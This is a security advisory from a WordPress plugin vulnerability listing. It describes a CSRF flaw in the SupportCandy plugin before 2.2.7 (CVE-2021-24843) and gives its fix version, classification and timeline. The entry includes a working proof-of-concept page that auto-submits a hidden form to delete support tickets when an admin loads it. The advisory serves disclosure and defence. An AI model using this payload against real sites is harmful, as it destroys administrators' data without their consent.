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WordPress Plugin Vulnerabilities

SupportCandy < 2.2.7 - Arbitrary Ticket Deletion via CSRF

Description

The plugin does not have CRSF check in its wpsc_tickets AJAX action, which could allow attackers to make a logged in admin call it and delete arbitrary tickets via the  set_delete_permanently_bulk_ticket setting_action.

Proof of Concept

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpsc_tickets" />
      <input type="hidden" name="setting_action" value="set_delete_permanently_bulk_ticket" />
      <input type="hidden" name="ticket_id" value="1" />
    </form>
  </body>
</html> 

Affects Plugins

supportcandy
Fixed in version 2.2.7

References

CVE
CVE-2021-24843

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Brandon Roldan

Submitter

Brandon Roldan

Submitter twitter
tomorrowisnew_
Verified

Yes

WPVDB ID
b71f53d7-6b9e-458c-8754-576ad2a52f7d

Timeline

Publicly Published

2022-01-05 (about 1 years ago)

Added

2022-01-05 (about 1 years ago)

Last Updated

2022-04-08 (about 11 months ago)

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